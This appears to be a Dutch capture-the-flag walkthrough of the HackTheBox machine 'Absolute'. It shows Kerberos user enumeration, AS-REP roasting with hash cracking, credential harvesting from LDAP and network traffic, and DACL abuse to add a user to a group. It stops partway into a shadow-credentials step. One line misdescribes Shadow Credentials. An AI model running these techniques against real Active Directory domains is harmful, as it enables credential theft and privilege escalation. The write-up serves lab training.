htb-absolute-nl

HTB – Absolute

 

Absolute is een lastige machine die zich voornamelijk richt op opsomming en het verkrijgen van referenties totdat je een shell op het systeem krijgt. In dit proces zullen we veelvoorkomende aanvallen uitvoeren, zoals AS-REP Roasting, wachtwoorden in platte tekst, en ook Wireshark gebruiken om dynamische analyse uit te voeren. Met Bloodhound zullen we domeininformatie opsommen voor mogelijke aanvalsroutes, machtigingen gebruiken waarmee we schaduwreferenties kunnen toevoegen aan een gebruiker die op afstand toegang tot het systeem kan krijgen. We zullen ook Kerberos Relay gebruiken om onze huidige gebruiker toe te voegen aan de groep Administrators. Ten slotte zullen we leren hoe we dit soort aanvallen kunnen beperken.

Platform HackTheBox
Moeilijkheid Insane
OS Windows

Recon

Ping

We beginnen met het verzenden van een ping om te verifiëren dat we verbinding hebben met de machine en proberen het besturingssysteem te raden

 

$ ping -c 1 10.129.228.64
PING 10.129.228.64 (10.129.228.64) 56(84) bytes of data.
64 bytes from 10.129.228.64: icmp_seq=1 ttl=127 time=39.8 ms

--- 10.129.228.64 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.804/39.804/39.804/0.000 ms

Aangezien de ttl gelijk is aan 127, kunnen we denken dat we te maken hebben met een Windows-machine

Nmap

We gaan nmap gebruiken om de TCP-poorten te scannen en de uitvoer op te slaan in het scanbestand

$ nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oN recon/scan 10.129.228.64
Nmap scan report for 10.129.228.64
Host is up, received user-set (0.032s latency).
Scanned at 2023-05-30 18:48:00 CEST for 13s
Not shown: 65508 closed tcp ports (reset)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49439/tcp open  unknown          syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49675/tcp open  unknown          syn-ack ttl 127
49683/tcp open  unknown          syn-ack ttl 127
49695/tcp open  unknown          syn-ack ttl 127
49698/tcp open  unknown          syn-ack ttl 127
49702/tcp open  unknown          syn-ack ttl 127

Gebruik extractports, we kopiëren de poorten naar het klembord

$ extractports recon/scan

  [*] Extrayendo puertos...

	[+] Dirección IP: 10.129.228.64
	[+] Puertos Abiertos: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49439,49664,49665,49666,49667,49673,49674,49675,49683,49695,49698,49702

  [*] Puertos copiados a la Clipboard

En we voeren een basisscan uit om services en versies te identificeren, met uitzondering van die hoger dan 49152 die vaak worden gebruikt door applicaties die het RPC-protocol implementeren.

$ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oN recon/detections 10.129.228.64
Nmap scan report for 10.129.228.64
Host is up (0.034s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-30 23:52:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m05s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m06s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m05s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-30T23:53:17+00:00; +7h00m06s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m05s, deviation: 0s, median: 7h00m05s
| smb2-time: 
|   date: 2023-05-30T23:53:11
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Via LDAP zien we dat het domein absolute.htb is en de naam van de machine dc.absolute.htb

wij voegen beide toe in /etc/hosts

$ echo "10.10.11.181 dc.absolute.htb dc absolute.htb" | sudo tee -a /etc/hosts

Web – TCP 80

$ for i in {1..6}; do wget http://absolute.htb/images/hero_$i.jpg; done
$ exiftool hero_1.jpg
ExifTool Version Number         : 12.16
File Name                       : hero_1.jpg
Directory                       : .
[...]
Author                          : James Roberts
Creator Tool                    : Adobe Photoshop CC 2018 Macintosh
[...]

Credentials van d.klay

AS-REP Roast Attack

Een Kerberos AS-REP Roast-aanval vindt plaats wanneer een account de optie heeft ingeschakeld. Do not require Kerberos Authentication . Met behulp van de GetNPUsers-tool van Impacket krijgen we een Kerberos 5-hash zonder pre-authenticatie (ook bekend als AS-REP-hash), die is afgeleid van het wachtwoord van de gebruiker, zodat we kunnen proberen een woordenboekaanval uit te voeren en het wachtwoord te krijgen als het zwak of voorspelbaar is

Om deze aanval uit te voeren, moeten we eerst geldige gebruikers krijgen en vervolgens de aanval uitvoeren met GetNPUsers

Creeer een lijst met gebruikers

Met een oneliner halen we de namen van de afbeeldingen eruit

$ exiftool hero_*  | grep Author | awk '{print $3 " " $4}' | tee author_names
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith

We gebruiken username-anarchy hiervoor

$ username-anarchy/username-anarchy -i author_names | tee anarchy_users
james
jamesroberts
james.roberts
jamesrob
jamerobe
jamesr
j.roberts
jroberts
[...]

Kerbrute

Find Valid Usernames

kerbrute is a tool for brute-forcing Kerberos. One of the options, userenum will check which names in a list are valid usernames:

$ ./kerbrute userenum --dc dc.absolute.htb -d absolute.htb username-anarchy

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/31/23 - Ronnie Flathers @ropnop

2023/05/31 05:47:12 >  Using KDC(s):
2023/05/31 05:47:12 >  	dc.absolute.htb:88

2023/05/31 05:47:12 >  [+] VALID USERNAME:	j.roberts@absolute.htb
2023/05/31 05:47:12 >  [+] VALID USERNAME:	m.chaffrey@absolute.htb
2023/05/31 05:47:12 >  [+] VALID USERNAME:	s.osvald@absolute.htb
2023/05/31 05:47:12 >  [+] VALID USERNAME:	d.klay@absolute.htb
2023/05/31 05:47:12 >  [+] VALID USERNAME:	j.robinson@absolute.htb
2023/05/31 05:47:12 >  [+] VALID USERNAME:	n.smith@absolute.htb
2023/05/31 05:47:12 >  Done! Tested 88 usernames (6 valid) in 0.297 seconds

Extrahert

$ kerbrute userenum --dc dc.absolute.htb -d absolute.htb anarchy_users | awk 'NF {print $NF}' | grep -oP '.+@' | tr -d @ | tee users

GetNPUsers

Nu we de geldige gebruikers hebben, lanceren we de AS-REP Roast-aanval met het hulpprogramma GetNPUsers.py van Impacket

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ impacket-GetNPUsers -dc-ip dc.absolute.htb -usersfile valid_users absolute.htb/ 
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User j.roberts@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.chaffrey@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.osvald@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:13fa219f97452dc1f11638d38e5d62dd$8111f86303065face01e5d0369fd9353865d96fda336e2d6f01902b8ef5c4412e4790e829e2fb2e670e62541d387a5817b7eb12fb79ae164c693b25289d5be9721080365c3ce52eae0e079e7e075b1d6d6e81f58a0eb18c8afa38c5f26af8b9f9fb16d5546a5cfe7493d9d2bc1dda2caaa9fd73f8b1cbaffaf22ef6b87322cf1c077257891596c9ad564c918e838f332842539701c2fdbcda8d1f6ec30276f1960f7f596da38885cb5af8f37d267235f43284a57050b25b5e0e829e229cc18001dc6395278c96950225f2b861f6926141c8ab2502c09633750e54fef91911e1747a44969ac9a424f2deb20be
[-] User j.robinson@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User n.smith@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$

.

de gebruiker d.klay is AS-REP Roasteable,

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ hashcat -m 18200 d.klay-krb5asrep /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz, 6863/13790 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:13fa219f97452dc1f11638d38e5d62dd$8111f86303065face01e5d0369fd9353865d96fda336e2d6f01902b8ef5c4412e4790e829e2fb2e670e62541d387a5817b7eb12fb79ae164c693b25289d5be9721080365c3ce52eae0e079e7e075b1d6d6e81f58a0eb18c8afa38c5f26af8b9f9fb16d5546a5cfe7493d9d2bc1dda2caaa9fd73f8b1cbaffaf22ef6b87322cf1c077257891596c9ad564c918e838f332842539701c2fdbcda8d1f6ec30276f1960f7f596da38885cb5af8f37d267235f43284a57050b25b5e0e829e229cc18001dc6395278c96950225f2b861f6926141c8ab2502c09633750e54fef91911e1747a44969ac9a424f2deb20be:Darkmoonsky248girl

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:13fa...eb20be
Time.Started.....: Fri Dec 29 23:06:55 2023 (4 secs)
Time.Estimated...: Fri Dec 29 23:06:59 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2624.9 kH/s (2.38ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11239424/14344385 (78.35%)
Rejected.........: 0/11239424 (0.00%)
Restore.Point....: 11231232/14344385 (78.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Devanique -> Daniel240207
Hardware.Mon.#1..: Temp: 69c Util: 76%

Cracking performance lower than expected?

* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
This can cause your screen to lag.

* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Fri Dec 29 23:06:39 2023
Stopped: Fri Dec 29 23:07:01 2023

┌──(puck㉿kali)-[~/htb/ABSOLUTE]

om te veriferen gebruiken we crackmapexec

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl 

┌──(puck㉿kali)-[~/htb/ABSOLUTE]

om te vermijden  KRB_AP_ERR_SKEW, gebruiken we

└─$ sudo nmap -sU -p 123 10.10.11.181 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 18:27 CET Nmap scan report for dc.absolute.htb (10.10.11.181) Host is up (0.096s latency). PORT STATE SERVICE 123/udp open ntp Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

en vervolgens

$ sudo ntpdate 10.10.11.181

 

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ crackmapexec ldap 10.10.11.181 -u d.klay -p Darkmoonsky248girl -k --users 
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.181 389 DC [+] absolute.htb\d.klay:Darkmoonsky248girl 
LDAP 10.10.11.181 389 DC [*] Total of records returned 20
LDAP 10.10.11.181 389 DC Administrator Built-in account for administering the computer/domain
LDAP 10.10.11.181 389 DC Guest Built-in account for guest access to the computer/domain
LDAP 10.10.11.181 389 DC krbtgt Key Distribution Center Service Account
LDAP 10.10.11.181 389 DC J.Roberts 
LDAP 10.10.11.181 389 DC M.Chaffrey 
LDAP 10.10.11.181 389 DC D.Klay 
LDAP 10.10.11.181 389 DC s.osvald 
LDAP 10.10.11.181 389 DC j.robinson 
LDAP 10.10.11.181 389 DC n.smith 
LDAP 10.10.11.181 389 DC m.lovegod 
LDAP 10.10.11.181 389 DC l.moore 
LDAP 10.10.11.181 389 DC c.colt 
LDAP 10.10.11.181 389 DC s.johnson 
LDAP 10.10.11.181 389 DC d.lemm 
LDAP 10.10.11.181 389 DC svc_smb AbsoluteSMBService123!
LDAP 10.10.11.181 389 DC svc_audit 
LDAP 10.10.11.181 389 DC winrm_user Used to perform simple network tasks

┌──(puck㉿kali)-[~/htb/ABSOLUTE]

Een tool die Kerberos-authenticatie accepteert is echter de uitzondering en niet de norm. Daarom zullen we later de tools kinit en getTGT gebruiken om TGT’s te verkrijgen.

Credentials van smb_svc

Enumeratie voor LDAP

$ crackmapexec smb 10.129.228.64 -u svc_smb -p AbsoluteSMBService123! -k
SMB         10.129.228.64   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.64   445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123!

ldapsearch

Als alternatief en aanvullende informatie vermelden die crackmapexec ons niet laat zien, kunnen we ldapsearch gebruiken. Om dit te doen, zullen we een TGT moeten genereren voor de gebruiker d.klay

Om TGT’s te verkrijgen die ldapsearch gebruiken, of andere commando’s zoals net, die we later zullen gebruiken om gebruikers aan groepen toe te voegen via Kerberos, moeten we installeren

krb5-user

sudo apt-get install krb5-user

Het bestand /etc/krb5.conf ziet er dus zo uit

cat /etc/krb5.conf
[libdefaults]
    default_realm = ABSOLUTE.HTB

[realms]
    ABSOLUTE.HTB = {
        kdc = dc.absolute.htb
    }

[domain_realm]
    .absolute.htb = ABSOLUTE.HTB
    absolute.htb = ABSOLUTE.HTB

Wij verkrijgen de TGT en vermelden de verkregen Tickets

$ echo 'Darkmoonsky248girl' | kinit d.klay
Password for d.klay@ABSOLUTE.HTB: 

$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: d.klay@ABSOLUTE.HTB

Valid starting     Expires            Service principal
03/06/23 00:45:08  03/06/23 04:45:08  krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
	renew until 03/06/23 04:45:08

Bovendien hebben we het pakket nodig om te authenticeren met behulp van het GSSAPI-authenticatiemechanisme dat vereist is door ldapsearch namelijk libsasl2-modules-gssapi-mit

$ sudo apt install libsasl2-modules-gssapi-mit

Iets belangrijks om in gedachten te houden is dat de naam van de DC, dc.absolute.htb, eerst in /etc/hosts moet komen. Anders wordt de volgende fout geretourneerd

ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb"
SASL/GSSAPI authentication started
ldap_sasl_interactive_bind: Local error (-2)
	additional info: SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure.  Minor code may provide more information (Server not found in Kerberos database)

We voeren het opnieuw uit en filteren op het wachtwoord van de svc_smb-gebruiker

$ ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb" 2>/dev/null | grep 'AbsoluteSMBService123!'
description: AbsoluteSMBService123!

SMB

In tegenstelling tot d.klay heeft de svc_smb-gebruiker leesmogelijkheden in de directory Shared

$ crackmapexec smb 10.10.11.181 -u svc_smb -p AbsoluteSMBService123! -k --shares
SMB         10.129.228.64   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.64   445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123! 
SMB         10.129.228.64   445    DC               [+] Enumerated shares
SMB         10.129.228.64   445    DC               Share           Permissions     Remark
SMB         10.129.228.64   445    DC               -----           -----------     ------
SMB         10.129.228.64   445    DC               ADMIN$                          Remote Admin
SMB         10.129.228.64   445    DC               C$                              Default share
SMB         10.129.228.64   445    DC               IPC$            READ            Remote IPC
SMB         10.129.228.64   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.228.64   445    DC               Shared          READ            
SMB         10.129.228.64   445    DC               SYSVOL          READ            Logon server share 

We maken verbinding met smbclient.py van Impacket, niet met smbclient. In de map staan ​​2 bestanden, we downloaden ze voor latere analyse

└─$ impacket-smbclient 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation

[-] CCache file is not found. Skipping...

Type help for list of commands
# 
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL

# use shared
# ls
drw-rw-rw-          0  Thu Sep  1 19:02:23 2022 .
drw-rw-rw-          0  Thu Sep  1 19:02:23 2022 ..
-rw-rw-rw-         72  Thu Sep  1 19:02:23 2022 compiler.sh
-rw-rw-rw-      67584  Thu Sep  1 19:02:23 2022 test.exe
# mget *
[*] Downloading compiler.sh
[*] Downloading test.exe

Credentials van m.lovegod

Analyse van bestanden

Het bestand compiler.sh bevat slechts één regel die een programma in nim compileert dat als eerste argument is doorgegeven

$ cat compiler.sh
#!/bin/bash

nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1

De tweede is een uitvoerbaar bestand voor 64-bits Windows

$ file test.exe
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

Dit wetende, gaan we de analyse van het programma uitvoeren op een virtuele Windows 10-machine

We gaan een dynamische analyse uitvoeren door naar het netwerkverkeer te luisteren. Allereerst gaan we vanaf onze Windows-machine verbinding maken met de VPN voor het geval de DC en Wireshark enige communicatie tot stand brengen om het verkeer te analyseren. Wij controleren de connectiviteit

We voeren het programma opnieuw uit, maar deze keer luistert Wireshark naar verkeer op de VPN-interface. We zien dat er netwerkverkeer is

Opmerking! Net als bij de virtuele Windows 10-machine heb ik het netwerk geconfigureerd als NAT, mijn hostcomputer fungeert als router en DNS-server, dus het lost de dc.absolute.htb-verzoeken op en ik heb geen DNS naar de domeincontroller hoeven configureren

Als u ziet dat de DNS-query niet wordt opgelost, zoals te zien is in de vorige afbeelding, moet u eerst de DC configureren als een DNS-server, aangezien poort 53 open was.

We gaan naar Netwerkverbindingen en klikken met de rechtermuisknop op de VPN-interface

Dubbel klik op “Protocolo de Internet versión 4 (TCP/IPv4)”

En we configureren het DC IP als DNS-server

Als we klaar zijn, voeren we het opnieuw uit en zien we dat zowel de DNS-query als de LDAP-authenticatie

Bij het analyseren van het verkeer realiseren we ons dat het probeert een eenvoudige authenticatie uit te voeren, waarbij de inloggegevens in platte tekst via het LDAP-protocol naar de gebruiker mlovegod worden verzonden met het wachtwoord AbsoluteLDAP2022!. De server reageert echter met een invalidCredentials-bericht. Als we verbinding proberen te maken met Kerberos, zien we dat deze reageert met KDC_ERR_C_PRINCIPAL_UNKNOWN, wat ons vertelt dat de gebruiker niet bestaat

$ crackmapexec smb 10.10.11.181-u mlovegod -p AbsoluteLDAP2022! -k
SMB         10.10.11.181   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181   445    DC               [-] absolute.htb\mlovegod:AbsoluteLDAP2022! KDC_ERR_C_PRINCIPAL_UNKNOWN 

Eerder hadden we crackmapexec uitgevoerd om domeingebruikers met de inloggegevens van d.klay weer te geven en we realiseerden ons dat er inderdaad geen gebruiker is met de naam mlovegood, maar er is m.lovegod

LDAP        10.10.11.181   389    DC               m.lovegod 

We voeren de opdracht opnieuw uit, maar met de geldige gebruiker en verifiëren de inloggegevens

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ crackmapexec smb 10.10.11.181 -u m.lovegod -p AbsoluteLDAP2022! -k 
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [+] absolute.htb\m.lovegod:AbsoluteLDAP2022! 

Shell – WinRM_USER

Bloodhound Analysis 

Vervolgens zullen we gebruik maken van Bloodhound.py om map informatie van onze aanvallende machine te verkrijgen, aangezien we geen externe toegang hebben tot een domeinhost om SharpHound uit te voeren

┌──(puck㉿kali)-[~/htb/ABSOLUTE]
└─$ /opt/BloodHound.py-Kerberos/bloodhound.py -u m.lovegod -p 'AbsoluteLDAP2022!' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip 
INFO: Found AD domain: absolute.htb
INFO: Using TGT from cache
WARNING: Username in ccache file does not match supplied username! d.klay@ABSOLUTE.HTB != m.lovegod@ABSOLUTE.HTB
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
INFO: Ignoring host dc.absolute.htb since its reported name does not match
INFO: Done in 00M 09S
INFO: Compressing output into 20240124181746_bloodhound.zip

┌──(puck㉿kali)-[~/htb/ABSOLUTE]

Allereerst gaan we zien tot welke groepen elke gebruiker van wie we de inloggegevens hebben verkregen, behoort en deze als gecompromitteerd markeren

We zien dat de drie gebruikers tot de groep PROTECTED USERS behoren, die NTLM-authenticatie voor zijn leden uitschakelt

Route van de aanval

Nu gaan we naar Analyse en klikken op Shortest Path from Owned Principal, d.klay en svc_smb retourneren geen informatie, behalve m.lovegod

We gaan analyseren hoe laterale bewegingen kunnen worden uitgevoerd, van de gebruiker m.lovegod naar de gebruiker WINRM_USER, die op afstand verbinding kan maken met de DC

Om de hulp of uitleg van Bloodhound te zien, klikken we met de rechtermuisknop op de toestemming en vervolgens op hulp

m.lovegod is eigenaar van de Network Audit-groep, zodat deze de beveiligingsbeschrijvingen kan wijzigen en er volledige controle over kan krijgen en later nieuwe gebruikers aan de groep kan toevoegen

Network Audit heeft GenericWrite-machtiging voor WINRM_USER, waardoor leden objectkenmerken kunnen wijzigen en schaduwreferenties kunnen toevoegen

dacledit

We gebruiken dacledit.py, hiervoor

Nos clonamos el repositorio, especificando la rama dacledit

$ git clone https://github.com/ShutdownRepo/impacket -b dacledit
Cloning into 'impacket'...
remote: Enumerating objects: 22819, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 22819 (delta 6), reused 9 (delta 6), pack-reused 22807
Receiving objects: 100% (22819/22819), 8.07 MiB | 10.10 MiB/s, done.
Resolving deltas: 100% (17414/17414), done.

We gaan naar de map en creëren een virtuele omgeving om de afhankelijkheden te installeren zonder conflicten te veroorzaken met de pakketten die al op het systeem zijn geïnstalleerd

$ cd impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .

Om dacledit te gebruiken moeten we een TGT verkrijgen van m.lovegod

$ getTGT.py absolute.htb/m.lovegod:'AbsoluteLDAP2022!'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Saving ticket in m.lovegod.ccache

We passen de DACL van de NETWORK AUDIT-groep aan om er volledige controle over te krijgen

┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ KRB5CCNAME=m.lovegod.ccache dacledit.py -action 'write' -rights 'FullControl' -principal 'm.lovegod' -target 'NETWORK AUDIT' 'absolute.htb'/'m.lovegod':'AbsoluteLDAP2022!' -dc-ip dc.absolute.htb -k
Impacket v0.9.25.dev1+20221216.150032.204c5b6b - Copyright 2021 SecureAuth Corporation

[*] DACL backed up to dacledit-20230709-192006.bak
[*] DACL modified successfully!

┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$

We voegen de gebruiker toe aan de groep

$ net rpc group addmem "Network Audit" "m.lovegod" -U "absolute.htb"/"m.lovegod"%'AbsoluteLDAP2022!' -S "dc.absolute.htb" --use-kerberos=required

$ net rpc group members "Network Audit" -U absolute.htb/m.lovegod%'AbsoluteLDAP2022!' -S dc.absolute.htb --use-kerberos=required
absolute\m.lovegod
absolute\svc_audit

Certipy – Shadow Credentials

Wanneer we een TGT verkrijgen, bevat deze informatie over de groepen waartoe de gebruiker behoort op het moment dat deze werd uitgegeven. Omdat we m.lovegod aan een nieuwe groep hebben toegevoegd, moeten we opnieuw een TGT verkrijgen met de bijgewerkte gegevens

Met de nieuwe groep krijgen we een nieuw TGT-ticket

$ getTGT.py absolute.htb/m.lovegod:'AbsoluteLDAP2022!'
Impacket v0.9.25.dev1+20221216.150032.204c5b6b - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in m.lovegod.ccache

Certipy is een Python-bibliotheek voor het beheren van certificaten in Windows-omgevingen, terwijl Shadow Credentials een beveiligingsmechanisme zijn dat in Kerberos wordt gebruikt om gebruikersreferenties te beschermen door ze in gecodeerde vorm op te slaan.

$ pip3 install certipy-ad

certipy find zal allerlei informatie over het domein retourneren en hoe Active Directory Certificate Services (ADCS) is geconfigureerd. Het controleert /tmp/krb5cc niet standaard, dus ik moet die omgevingsvariabele instellen om het te kunnen gebruiken:

┌──(venv)─(puck㉿kali)-[~/htb/absolute/impacket]
└─$ KRB5CCNAME=m.lovegod.ccache certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb
Certipy v4.5.1 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'absolute-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'absolute-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'absolute-DC-CA' via RRP
